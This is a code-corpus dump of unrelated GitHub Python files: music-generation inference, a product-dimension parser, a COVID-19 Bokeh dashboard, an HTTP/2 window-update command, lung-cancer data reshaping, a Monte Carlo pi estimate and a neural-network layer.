rhythm_out_distribution, bar_out_distribution= sess.run(\n                [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"]\n                ],\n                feed_dict={ infe_para['infe_frame_outp_slices']: np.expand_dims(frame_out[: , frame_output_idx, :], axis = 1),\n                            infe_para['infe_sample_inp']: sample_input_sequences,\n                            infe_para['infe_rm_tm']:rm_tm_array} )\n\n            samples[:, t] = sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time = original_file[:, t, net.bar_channel:net.bar_channel+2*net.chord_channel])\n    elif mode_choice == \"ad_rm3t_fc\" or mode_choice == \"ad_rm3t_fc_rs\":\n        for t in range(net.big_frame_size, LENGTH):\n            # big frame\n            if t % net.big_frame_size == 0:\n                big_input_sequences = samples[: , t-net.big_frame_size: t, :]\n                big_frame_out, final_big_s = sess.run(\n                    [infe_para['infe_big_frame_outp'],\n                    infe_para['infe_next_big_frame_state']],\n                    feed_dict={\n                        infe_para['infe_big_frame_inp']: big_input_sequences,\n                        infe_para['infe_big_frame_state']: final_big_s})\n            # frame level\n            if t % net.frame_size == 0:\n                frame_input_sequences = samples[: , t - net.frame_size:t, :]\n                big_frame_output_idx = (t// net.frame_size) % (net.big_frame_size / net.frame_size)\n                frame_out, final_s = sess.run(\n                    [   infe_para['infe_frame_outp'],\n                        infe_para['infe_next_frame_state']],\n                    feed_dict={\n                        infe_para['infe_big_frame_outp_slices']: np.expand_dims(big_frame_out[: , big_frame_output_idx, :],axis=1),\n                        infe_para['infe_frame_inp']: frame_input_sequences,\n                        infe_para['infe_frame_state']: final_s})\n            # sample level\n            sample_input_sequences = samples[:, t-net.frame_size:t, :]\n            frame_output_idx = t % net.frame_size\n            #find rm_tm array\n            rm_tm_array = find_rm_tm_array(net,  samples,current_time = t)\n\n            sample_out_note_distribution, rhythm_out_distribution, bar_out_distribution= sess.run(\n                [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"]],\n                feed_dict={ infe_para['infe_frame_outp_slices']: np.expand_dims(frame_out[: , frame_output_idx, :], axis = 1),\n                            infe_para['infe_sample_inp']: sample_input_sequences,\n                            infe_para['infe_rm_tm']:rm_tm_array} )\n            samples[:, t] = sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time = original_file[:, t, net.bar_channel:net.bar_channel+2*net.chord_channel])\n\n    elif mode_choice == \"bln_attn_fc\" or mode_choice ==\"bln_fc\":\n        for t in range(LENGTH-1):\n            sample_input = samples[:, t, :]\n\n\n            sample_input = np.expand_dims(sample_input, axis = 1)\n            if mode_choice == \"bln_attn_fc\":\n                sample_out_note_distribution, rhythm_out_distribution, bar_out_distribution, bln_attn_s= sess.run(\n                    [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"],infe_para['bln_next_state']\n                    ],\n                    feed_dict={infe_para['bln_ipt']: sample_input,\n                            infe_para['bln_attn_state']: bln_attn_s} )\n            elif mode_choice == \"bln_fc\":\n                sample_out_note_distribution, rhythm_out_distribution, bar_out_distribution, bln_s= sess.run(\n                    [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"],infe_para['bln_next_state']\n                    ],\n                    feed_dict={infe_para['bln_ipt']: sample_input,\n                            infe_para['bln_state']: bln_s} )\n            if t>=net.frame_size-1:#when t == 16, update; 0-15, keep ori\n                samples[:, t+1] = sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time = original_file[:, t, net.bar_channel:net.bar_channel+2*net.chord_channel])\n\n    elif mode_choice == \"2t_fc\":\n        for t in range(net.frame_size, LENGTH):\n            # frame level\n            if t % net.frame_size == 0: #if (t - net.frame_size) % net.frame_size == 0:\n                frame_input_sequences = samples[: , t - net.frame_size:t, :]\n                frame_out, final_s = sess.run(\n                    [   infe_para['infe_frame_outp'],\n                        infe_para['infe_next_frame_state']],\n                    feed_dict={\n                        infe_para['infe_frame_inp']: frame_input_sequences,\n                        infe_para['infe_frame_state']: final_s})\n            # sample level\n            sample_input_sequences = samples[:, t-net.frame_size:t, :]\n            frame_output_idx = t % net.frame_size\n\n            sample_out_note_distribution, rhythm_out_distribution, bar_out_distribution= sess.run(\n                [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"]\n                ],\n                feed_dict={ infe_para['infe_frame_outp_slices']: np.expand_dims(frame_out[: , frame_output_idx, :], axis = 1),\n                            infe_para['infe_sample_inp']: sample_input_sequences} )\n\n            samples[:, t] = sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time = original_file[:, t, net.bar_channel:net.bar_channel+2*net.chord_channel])\n    elif mode_choice == \"3t_fc\":\n        for t in range(net.big_frame_size, LENGTH):\n            # big frame\n            if t % net.big_frame_size == 0:\n                big_input_sequences = samples[: , t-net.big_frame_size: t, :]\n                big_frame_out, final_big_s = sess.run(\n                    [infe_para['infe_big_frame_outp'],\n                    infe_para['infe_next_big_frame_state']],\n                    feed_dict={\n                        infe_para['infe_big_frame_inp']: big_input_sequences,\n                        infe_para['infe_big_frame_state']: final_big_s})\n            # frame level\n            if t % net.frame_size == 0:\n                frame_input_sequences = samples[: , t - net.frame_size:t, :]\n                big_frame_output_idx = (t// net.frame_size) % (net.big_frame_size / net.frame_size)\n                frame_out, final_s = sess.run(\n                    [   infe_para['infe_frame_outp'],\n                        infe_para['infe_next_frame_state']],\n                    feed_dict={\n                        infe_para['infe_big_frame_outp_slices']: np.expand_dims(big_frame_out[: , big_frame_output_idx, :],axis=1),\n                        infe_para['infe_frame_inp']: frame_input_sequences,\n                        infe_para['infe_frame_state']: final_s})\n            # sample level\n            sample_input_sequences = samples[:, t-net.frame_size:t, :]\n            frame_output_idx = t % net.frame_size\n\n            sample_out_note_distribution, rhythm_out_distribution, bar_out_distribution= sess.run(\n                [infe_para['note'],infe_para[\"rhythm\"],infe_para[\"bar\"]],\n                feed_dict={ infe_para['infe_frame_outp_slices']: np.expand_dims(frame_out[: , frame_output_idx, :], axis = 1),\n                            infe_para['infe_sample_inp']: sample_input_sequences} )\n            samples[:, t] = sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time = original_file[:, t, net.bar_channel:net.bar_channel+2*net.chord_channel])\n\n    data_genre = args.logdir_root.split(\"/\")[-2] #08_16_2020_03_31_10_Jazz_npy\n    ckpt = args.logdir_root.split(\"/\")[-1].split(\"-\")[-1] #100000\n    seed_length = str(seed_length)\n    temp = str(args.note_temp)+\"_\"+str(args.rhythm_temp)\n    #condition_name = condition_name.split('.')[-2]\n    unique_name = \"_\".join((data_genre,ckpt,seed_length,temp,condition_name))\n\n    melody_npy = os.path.join(gen_dir,unique_name+'.npy')\n    melody_mid = os.path.join(gen_dir,unique_name+'.mid')\n    samples_wo_fc = np.delete(samples,np.s_[net.bar_channel:net.bar_channel+net.chord_channel],axis=-1)\n \n    np.save(melody_npy,samples_wo_fc)\n    generate_midi(melody_npy, melody_mid, net, original_file)\n\ndef preprocess_condition(condition_dir, seed_length):\n    cond_file_list = []\n    for condition_name in condition_dir:\n        condition = np.load(condition_name) #(len, piano_dim)  \n        if condition.shape[0]<=seed_length:\n            continue\n        condition_name = condition_name.split('/')[-1].split(\".\")[0]\n        pair = (condition,condition_name)\n        cond_file_list.append(pair)\n    return cond_file_list\n\ndef main():\n\n    ####retrieve config####\n    args, mod_arg= get_arguments()\n\n    #print(args_model)\n    net = CMHRNN(args = mod_arg, if_train = False)\n\n    if mod_arg.if_cond == \"cond\":\n        network_input_plder= tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len, mod_arg.piano_dim+mod_arg.chord_channel), name = \"input_batch_rnn\")\n\n        if mod_arg.mode_choice==\"ad_rm3t_fc\" or mod_arg.mode_choice==\"ad_rm3t_fc_rs\":\n            rm_time_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.big_frame_size, mod_arg.rhythm_channel), name = \"rm_tm_rnn\")\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.big_frame_size, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n\n        elif mod_arg.mode_choice==\"ad_rm2t_fc\" :\n            rm_time_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.frame_size, mod_arg.rhythm_channel), name = \"rm_tm_rnn\")\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.frame_size, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n        elif mod_arg.mode_choice==\"bln_attn_fc\" or mod_arg.mode_choice==\"bln_fc\":\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n        elif mod_arg.mode_choice==\"2t_fc\" :\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.frame_size, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n        elif mod_arg.mode_choice==\"3t_fc\":\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.big_frame_size, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n\n    else:\n        if mod_arg.mode_choice==\"ad_rm2t\":\n            network_input_plder= tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len, mod_arg.piano_dim-mod_arg.chord_channel), name = \"input_batch_rnn\")\n            rm_time_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.frame_size, mod_arg.rhythm_channel), name = \"rm_tm_rnn\")\n            network_output_plder = tf.placeholder(tf.float32,shape =(None, mod_arg.seq_len-mod_arg.frame_size, mod_arg.piano_dim-mod_arg.chord_channel), name = \"output_batch_rnn\")\n\n    ##build graph##\n    with tf.variable_scope(tf.get_variable_scope(),reuse = tf.AUTO_REUSE):\n        with tf.name_scope('TOWER_0') as scope:\n            if mod_arg.mode_choice==\"2t_fc\" or mod_arg.mode_choice==\"3t_fc\" or mod_arg.mode_choice==\"bln_attn_fc\" or mod_arg.mode_choice==\"bln_fc\":\n                (   gt,\n                    pd,\n                    loss\n                )=net.loss_CMHRNN(\n                    X = network_input_plder,\n                    y = network_output_plder\n                )\n            else:\n                (   gt,\n                    pd,\n                    loss\n                )=net.loss_CMHRNN(\n                    X = network_input_plder,\n                    y = network_output_plder,\n                    rm_time= rm_time_plder\n                )                \n            tf.get_variable_scope().reuse_variables()\n\n    ####sess config####\n    tf_config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)\n    tf_config.gpu_options.allow_growth = True\n    saver = tf.train.Saver()\n\n    if mod_arg.mode_choice ==\"ad_rm2t_fc\":\n        graph= create_graph_ad_rm2t_fc(net)\n    elif mod_arg.mode_choice ==\"ad_rm3t_fc\":\n        graph= create_graph_ad_rm3t_fc(net, if_residual = False)\n    elif mod_arg.mode_choice ==\"ad_rm3t_fc_rs\":\n        graph= create_graph_ad_rm3t_fc(net, if_residual = True) \n\n    elif mod_arg.mode_choice ==\"2t_fc\":\n        graph= create_graph_2t_fc(net)\n    elif mod_arg.mode_choice ==\"3t_fc\":\n        graph= create_graph_3t_fc(net)\n    elif mod_arg.mode_choice ==\"bln_attn_fc\":\n        graph= create_graph_bln_attn_fc(net, if_attn =True)\n    elif mod_arg.mode_choice ==\"bln_fc\":\n        graph= create_graph_bln_attn_fc(net, if_attn =False)\n    #graph_one_tier = create_graph_one_tier(net)\n    #\n    logdir = args.logdir_root\n    gen_dir = args.gen_dir\n    temp = str(args.note_temp)+\"_\"+str(args.rhythm_temp)\n    logdir_path = logdir.split('/')[-2] #12_13_2019_12_12_14\n    model_name = logdir.split('/')[-1] #model.ckpt-180\n    model_number = model_name.split('-')[-1] #180\n    if mod_arg.mode_choice==\"ad_rm3t_fc\" or mod_arg.mode_choice==\"ad_rm3t_fc_rs\" or mod_arg.mode_choice==\"3t_fc\":\n        print(\"big frame size as seed!\",mod_arg.big_frame_size)\n        seed_length = mod_arg.big_frame_size\n    else:\n        seed_length = mod_arg.frame_size\n    \n    gen_dir_model_number = gen_dir +'/'+logdir_path+ '/'+model_number+'/'+str(seed_length)+\"/\"+temp #gen_dir/12_13_2019/180/\n    if not os.path.exists(gen_dir_model_number):\n        os.makedirs(gen_dir_model_number)\n\n    ####condition input####\n    test_file_list = preprocess_condition(glob.glob(args.cond_dir+'/*.npy'), seed_length)  #(condition, condition_name)\n    ####restore session####\n    session = tf.Session(config=tf_config)\n\n    with session as sess:\n        saver.restore(sess, logdir)\n        count = 0\n        total_count = len(test_file_list)\n        for original_test_file,file_name in test_file_list:\n            print('Processing',file_name)\n            print(\"process:{}/{}\".format(count,total_count))\n            t_start = time.time()\n\n            forward_prop(net, graph, sess, original_test_file, file_name, gen_dir_model_number, args, int(seed_length),mod_arg.mode_choice)\n\n            t_end = time.time()\n            count+=1\n            print(file_name,' processing time: ', t_end-t_start)\n    \nif __name__ == '__main__':\n    main()\n\n","repo_name":"guozixunnicolas/CM-HRNN","sub_path":"generation_w_mode_switch_v2.py","file_name":"generation_w_mode_switch_v2.py","file_ext":"py","file_size_in_byte":34933,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"14190150908","text":"# Extract Product or Parcel Dimensions:\n# strings to process are as follow:\n#  Package Dimensions : 1.97 x 1.97 x 0.79 inches; 2.82 Ounces\n#  Product Dimensions 35.56 x 12.7 x 5.08 cm; 1.36 Kilograms\n#  Product Dimensions 23.88 x 19.3 x 3.81 cm\n#  Parcel Dimensions 20 x 15 x 1 cm; 56 Grams\n#  Package Dimensions : 11.42 x 2.36 x 2.36 inches\n#  Product Dimensions : 11.81 x 7.87 x 3.94 inches\n\n\nclass Dimensions:\n\n    @staticmethod\n    def get_product_dimensions(product_details):\n        dimensions_str = None\n        keywords_tbl = ['Parcel Dimensions', 'Product Dimensions', 'Package Dimensions']\n        table_block_str = None\n\n        for elem in product_details:\n            for i in range(len(keywords_tbl)):\n                if keywords_tbl[i] in elem:\n                    table_block_str = elem\n        if table_block_str:\n            for i in range(len(keywords_tbl)):\n                start_pos = table_block_str.find(keywords_tbl[i])\n                if start_pos != -1:\n                    start_pos = start_pos + len(keywords_tbl[i]) + 1\n                    dimensions_str = table_block_str[start_pos:]\n                    if \":\" in dimensions_str:\n                        dimensions_str = dimensions_str.replace(\":\", \"\")\n                    dimensions_str = dimensions_str.strip()\n\n        parcel_info = dict()\n        if dimensions_str:\n            parcel_info['product_dimensions'] = dimensions_str\n            product_dimensions_info = Dimensions.split_product_dimensions(dimensions_str)\n            parcel_info['product_length'] = product_dimensions_info['product_length']\n            parcel_info['product_width'] = product_dimensions_info['product_width']\n            parcel_info['product_height'] = product_dimensions_info['product_height']\n            parcel_info['dimension_unit'] = product_dimensions_info['product_dimensions_unit']\n            parcel_info['product_weight'] = product_dimensions_info['product_weight']\n            parcel_info['weight_unit'] = product_dimensions_info['product_weight_unit']\n        else:\n            parcel_info = None\n        return parcel_info\n\n\n    # handle the following str (as example)\n    # '23.88 x 19.3 x 3.81 cm'\n    # OR\n    # '23.88 x 19.3 x 3.81 cm; 272 Grams'\n    # turn it to be:\n    # parcel_info['product_length'] = 23.88\n    # parcel_info['product_width'] = 19.3\n    # parcel_info['product_height'] = 3.81\n    # parcel_info['product_dimensions_unit'] = cm\n    # parcel_info['product_weight'] = 272 Or None. depends on the string to process\n    # parcel_info['product_weight_unit'] = Grams or None. depends on the string to process\n    @staticmethod\n    def split_product_dimensions(product_dimensions):\n        parcel_info = dict()\n        word2 = ';'\n\n        seq_str1 = product_dimensions.split()\n        parcel_info['product_length'] = seq_str1[0]\n        parcel_info['product_width'] = seq_str1[2]\n        parcel_info['product_height'] = seq_str1[4]\n        if seq_str1[5].find(word2) != -1:\n            parcel_info['product_dimensions_unit'] = seq_str1[5].strip(word2)\n            parcel_info['product_weight'] = seq_str1[6]\n            parcel_info['product_weight_unit'] = seq_str1[7]\n        else:\n            parcel_info['product_dimensions_unit'] = seq_str1[5]\n            parcel_info['product_weight'] = None\n            parcel_info['product_weight_unit'] = None\n        return parcel_info\n","repo_name":"friday2022/TestScrapySelectors","sub_path":"productsites/amazon/common/productinfo/common/Dimensions.py","file_name":"Dimensions.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34274718583","text":"import json\nimport requests\nimport pandas as pd\nfrom pandas import json_normalize\nimport numpy as np\nimport bokeh\nfrom bokeh.plotting import figure\nfrom bokeh.models import HoverTool, ColumnDataSource, CrosshairTool\n\nclass Plotter:\n\n    # colors = ['#a6cee3','#1f78b4','#b2df8a','#33a02c','#fb9a99','#e31a1c','#fdbf6f','#ff7f00','#cab2d6','#6a3d9a','#ffff99','#b15928']\n    colors = [\"#000000\", \"#824737\", \"#67923D\", \"#D6562B\", \"#007042\", \"#F09B36\", \"#74CCE5\", \"#F4BB3A\", \"#00BBD6\", \"#ABC178\", \"#C6A9B5\", \"#9C8156\", \"#895881\", \"#BC9F77\"]\n    prov_colors = [\"#824737\", \"#67923D\", \"#D6562B\"]\n\n    data = {\n        # 'All': pd.DataFrame(), TODO: Implement aggregate calculation for all provinces as it has been deprecated from the API\n        'British Columbia': pd.DataFrame(),\n        'Alberta': pd.DataFrame(),\n        'Saskatchewan': pd.DataFrame(),\n        'Manitoba': pd.DataFrame(),\n        'Ontario': pd.DataFrame(),\n        'Quebec': pd.DataFrame(),\n        'Newfoundland and Labrador': pd.DataFrame(),\n        'Prince Edward Island': pd.DataFrame(),\n        'Nova Scotia': pd.DataFrame(),\n        'New Brunswick': pd.DataFrame(),\n        'Yukon': pd.DataFrame(),\n        'Northwest Territories': pd.DataFrame(),\n        # 'Nunavut': pd.DataFrame(), TODO: Handle Nunavut\n    }\n\n\n    def __init__(self):\n        self.get_data()\n    \n    def get_data(self):\n        cases = json_normalize((requests.request(\"GET\", \"https://api.covid19api.com/dayone/country/Canada/status/confirmed\", headers={}, data={})).json())\n        cases = cases.groupby(['Province'])\n        deaths = json_normalize((requests.request(\"GET\", \"https://api.covid19api.com/dayone/country/Canada/status/deaths\", headers={}, data={})).json())\n        deaths = deaths.groupby(['Province'])\n        # recovered = json_normalize((requests.request(\"GET\", \"https://api.covid19api.com/dayone/country/Canada/status/recovered\", headers={}, data={})).json())\n        # recovered = recovered.groupby(['Province'])\n\n        # TODO: Fix this code\n        # for prov in self.data:\n        #     if prov not in cases.groups:\n        #         pass\n        #     else:\n        #         df = cases.get_group(prov)\n        #         recovered_df = recovered.get_group(prov)\n        #         deaths_df = deaths.get_group(prov)\n        #         index=np.arange(0, len(df.index))\n        #         df.set_index(index, inplace=True)\n        #         recovered_df.set_index(index, inplace=True)\n        #         deaths_df.set_index(index, inplace=True)\n\n        #         df = df[['Date','Cases']]\n        #         # print(prov)\n        #         # print(df.tail())\n\n        #         df['Recovered'] = recovered_df['Cases']\n        #         df['Deaths'] = deaths_df['Cases']\n\n        #         df['Date'] = df['Date'].apply(lambda x: x[0:10])\n        #         df['Date'] = pd.to_datetime(df['Date'])\n\n        #         # print(df.tail())\n        #         df['DailyCases'] = (df['Cases'] - df['Recovered'] - df['Deaths'])\n        #         self.data[prov] = df\n\n        for prov in self.data:\n            if prov != \"All\" and prov not in cases.groups:\n                pass\n            else:\n            # TODO: Implement aggregate calculation for all provinces as it has been deprecated from the API\n            #     if prov == \"All\":\n            #         df = cases.get_group(\"\")\n            #         deaths_df = deaths.get_group(\"\")\n            #         pass\n            #     else:\n            #         df = cases.get_group(prov)\n            #         deaths_df = deaths.get_group(prov)\n                df = cases.get_group(prov)\n                deaths_df = deaths.get_group(prov)\n                df = df[['Date', 'Cases']]\n                index = np.arange(0, len(df.index))\n                df.set_index(index, inplace=True)\n                deaths_df.set_index(index, inplace=True)\n                df['Deaths'] = deaths_df['Cases']\n                df[['DailyCases']] = df[['Cases']].diff()\n                df.at[0, 'DailyCases'] = df.at[0, 'Cases']\n                df['Date'] = df['Date'].apply(lambda x: x[0:10])\n                df['Date'] = pd.to_datetime(df['Date'])\n                self.data[prov] = df\n\n        # Print DataFrame to console for debugging\n        for prov in self.data:\n            print(prov)\n            print(self.data[prov])\n    \n    # Plot new cases per day by province\n    def plot_cases(self):\n\n        p = figure(title=\"Daily Increase in COVID-19 Cases by Province\", x_axis_type='datetime', plot_height=500, plot_width=1600, sizing_mode='stretch_width', x_axis_label='Date', y_axis_label='Increase in Cases')\n        \n        for data, name, color in zip(self.data.values(), self.data.keys(), self.colors):\n            size = len(data)\n            names = [name for x in range(size)]             # Create names for tooltips\n            source = ColumnDataSource(data={\n                'Date': data['Date'],\n                'CaseIncrease': data['DailyCases'],\n                'Province': names,\n            })\n            if name == \"All\":\n                # TODO: Implement aggregate calculation for all provinces as it has been deprecated from the API\n                # p.line(x='Date', y='CaseIncrease', line_width=4, color=color, alpha=0.4, legend_label=name, source=source)\n                pass\n            else:\n                p.line(x='Date', y='CaseIncrease', line_width=2, color=color, alpha=0.9, legend_label=name, source=source)\n        p.legend.location='top_left'\n        p.legend.click_policy='hide'\n        \n        # Add hover information\n        p.add_tools(HoverTool(\n            tooltips=[\n                ('Province', '@Province'),\n                ('Increase', '@CaseIncrease{0}'),\n                ('Date', '@Date{%F}'),\n            ],\n            formatters={\n                '@Date': 'datetime',\n                'CaseIncrease': 'printf',\n            }\n        ))\n\n        p.add_tools(CrosshairTool())\n\n        return p\n\n    def plot_province(self, prov):\n        p = figure(title=(f\"{prov} COVID-19 Data\"), x_axis_type='datetime', plot_height=250, plot_width=300, sizing_mode='stretch_width')\n        df = self.data[prov]\n        source = ColumnDataSource(data={\n            'Date': df['Date'],\n            'Cases': df['Cases'],\n            'Deaths': df['Deaths'],\n            'CaseIncrease': df['DailyCases']\n        })\n        if prov == \"All\":\n            pass\n        else:\n            p.line(x='Date', y='Cases', line_width=4, color=self.prov_colors[0], alpha=0.7, legend_label='Cases', source=source)\n            p.line(x='Date', y='Deaths', line_width=4, color=self.prov_colors[1], alpha=0.7, legend_label='Deaths', source=source)\n            p.line(x='Date', y='CaseIncrease', line_width=4, color=self.prov_colors[2], alpha=0.7, legend_label='Daily Case Increase', source=source)\n            p.legend.location='center_right'\n\n\n        return(p)\n        \n    # End Code\n","repo_name":"sherwynds/COVID-Dash","sub_path":"plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"23126895812","text":"from bayserver_core.bay_log import BayLog\n\nfrom bayserver_docker_http.h2.h2_command import H2Command\nfrom bayserver_docker_http.h2.h2_type import H2Type\nfrom bayserver_docker_http.h2.h2_packet import H2Packet\n\n#\n#  HTTP/2 Window Update payload format\n#\n#  +-+-------------------------------------------------------------+\n#  |R|              Window Size Increment (31)                     |\n#  +-+-------------------------------------------------------------+\n#\n\nclass CmdWindowUpdate(H2Command):\n\n    def __init__(self, stream_id, flags=None):\n        super().__init__(H2Type.WINDOW_UPDATE, stream_id, flags)\n        self.items = []\n        self.window_size_increment = None\n\n    def unpack(self, pkt):\n        super().unpack(pkt)\n        acc = pkt.new_data_accessor()\n        val = acc.get_int()\n        self.window_size_increment = H2Packet.extract_int31(val)\n\n    def pack(self, pkt):\n        acc = pkt.new_data_accessor()\n        acc.put_int(H2Packet.consolidate_flag_and_int32(0, self.window_size_increment))\n        BayLog.trace(\"h2: Pack windowUpdate size=%d\", self.window_size_increment)\n        super().pack(pkt)\n\n    def handle(self ,cmd_handler):\n        return cmd_handler.handle_window_update(self)\n","repo_name":"baykit/BayServer_Python","sub_path":"packages/bayserver-docker-http/bayserver_docker_http/h2/command/cmd_window_update.py","file_name":"cmd_window_update.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12236304285","text":"import pandas as pd \r\nimport os \r\nimport re \r\n\r\nos.getcwd()\r\nos.listdir()\r\nos.chdir('./ohiolung')\r\n\r\nfor x in os.listdir():\r\n    print(x)\r\n\r\n[x for x in os.listdir() if 'csv' in x]\r\n\r\nohio_wide = pd.read_csv('ohilung.txt',sep='\\t')\r\n\r\n\r\nohio_wide.head()\r\n\r\npop_list = [x for x in ohio_wide.columns if 'POP' in x]\r\ncol_list = [x for x in ohio_wide.columns if (re.search('[0-9]+',x)) and 'POP' not in x]\r\n\r\npop_data = pd.melt(ohio_wide,id_vars= 'COUNTYID',value_vars=pop_list)\r\ncas_data = pd.melt(ohio_wide,id_vars= 'COUNTYID',value_vars=col_list)\r\n\r\npop_data['variable'] = pop_data.variable.str.replace('POP','')\r\ncas_data['variable'] = cas_data.variable.str.replace('L','')\r\n\r\n\r\n\r\n\r\n# cas ['COUNTYID','CNT','YEAR','SEX','RACE']\r\n# pop ['COUNTYID','YEAR','POP','SEX','RACE']\r\n\r\npop_data = pop_data[['COUNTYID','variable','value']]\r\ncas_data = cas_data[['COUNTYID','value','variable']]\r\n\r\npop_data['YEAR'] = '19' + pop_data.variable.str[:-3:-1] \r\npop_data['SEX'] = pop_data.variable.str[:1]\r\npop_data['RACE'] = pop_data.variable.apply(lambda x : re.sub('[MF0-9]','',x))\r\n\r\ncas_data['YEAR'] = '19' + cas_data.variable.str[:-3:-1] \r\ncas_data['SEX'] = cas_data.variable.str[:1]\r\ncas_data['RACE'] = cas_data.variable.apply(lambda x : re.sub('[MF0-9]','',x))\r\n\r\n\r\ncas_data.groupby('RACE').count()\r\npop_data.groupby('RACE').count()\r\n\r\ncas_data.head()\r\npop_data.head()\r\n\r\ncas_data = cas_data.loc[cas_data['RACE'] != '',['COUNTYID','value','YEAR','SEX','RACE']]\r\npop_data = pop_data.loc[pop_data['RACE'] != '',['COUNTYID','YEAR','value','SEX','RACE']]\r\n\r\npd.to_csv('cas_data.csv',index=False,header=False)","repo_name":"KIM-DKA/spatial","sub_path":"ohiolung_cancer.py","file_name":"ohiolung_cancer.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43374896936","text":"\"\"\"\nAuthor: Uchenna Edeh\n\nThe area of a circle is defined as πr^2. Estimate π to 3 decimal places using a Monte Carlo method.\nHint: The basic equation of a circle is x2 + y2 = r2.\nAlgorithm from wikipedia\nFor example, consider a quadrant inscribed in a unit square. Given that the ratio of their areas is π / 4, the value of π can be approximated using a Monte Carlo method:[11]\n\nDraw a square, then inscribe a quadrant within it\nUniformly scatter a given number of points over the square\nCount the number of points inside the quadrant, i.e. having a distance from the origin of less than 1\nThe ratio of the inside-count and the total-sample-count is an estimate of the ratio of the two areas, π / 4. Multiply the result by 4 to estimate π.\n\"\"\"\nimport random\nimport math\nimport sys\nfrom datetime import datetime\n\ndef solution1(total_count):\n    counter = 0\n    for i in range(total_count):\n        x = random.random()\n        y = random.random()\n\n        r = math.sqrt( x*x + y*y )\n\n        if r <= 1:\n            counter += 1 \n        \n        yield counter\n\ndef solution2(total_count):\n    counter = 0\n    for i in range(total_count):\n        x = random.random()\n        y = random.random()\n\n        r = math.sqrt( x*x + y*y )\n\n        if r <= 1:\n            counter += 1\n\n    return 4 * counter / total_count\n\n\ndef build_generator_function(limit):\n    i = 0\n    for i in solution1(limit):\n        try:\n            continue\n        except StopIteration:\n            print(i)\n            return i  \n\n\n    return 4 * i / limit \n\n\ndef main(args):\n    now = datetime.now()\n    if len(args) != 2:\n        raise AssertionError(\"Usage:\\n\\t{0} {1} {2}\\n\\t\".format('python3', __file__, 30000))\n    print(build_generator_function(int(args[1]))) # Using generator\n    #print(solution2(int(args[1])))\n\n    delta = datetime.now() - now\n    print(\"Time Elapse: {0}\".format(str(delta)))\n\nif __name__ == \"__main__\":\n    try:\n        main(sys.argv)\n    except AssertionError as e:\n        print(e)\n        sys.exit(0)\n        \n","repo_name":"uchenna-j-edeh/dailly_problems","sub_path":"natural_num_processing_algorithm/montecarlo.py","file_name":"montecarlo.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2817304349","text":"import numpy as np\nfrom Optimization import Optimizers\nfrom Layers import Base\nimport copy\n\nclass FullyConnected(Base.BaseLayer):\n    def __init__(self, input_size, output_size):\n        super().__init__()\n        self.trainable = True\n        self.input_size = input_size\n        self.output_size = output_size\n        self.weights = np.random.uniform(size = (input_size, output_size))\n        self.bias = np.random.uniform(size = (1, output_size))\n        self.gradient_weights = None\n        self.gradient_bias = None\n        self._optimizer = None\n        self.temp = []\n\n    @property\n    def optimizer(self):\n        return self._optimizer\n\n    @optimizer.setter\n    def optimizer(self, optimizer):\n        self._optimizer = optimizer\n        self._optimizer.weight = copy.deepcopy(optimizer)\n        self._optimizer.bias = copy.deepcopy(optimizer)\n\n    def forward(self, input_tensor):\n        self.lastIn = input_tensor\n        self.lastOut = np.dot(input_tensor, self.weights) + self.bias\n        return self.lastOut\n     \n    def backward(self, error_tensor):\n        dx = np.dot(error_tensor, self.weights.T)\n        dW = np.dot(self.lastIn.T, error_tensor)\n        db = np.sum(error_tensor, axis = 0)\n        if self._optimizer != None:\n            self.weights = self._optimizer.weight.calculate_update(self.weights, dW)\n            self.bias = self._optimizer.bias.calculate_update(self.bias, db)\n       \n        self.gradient_bias = error_tensor\n        self.gradient_weights = dW\n       \n        return dx\n\n    #From HW3 append:\n\n    def initialize(self, weights_initializer, bias_initializer):\n        self.weights = 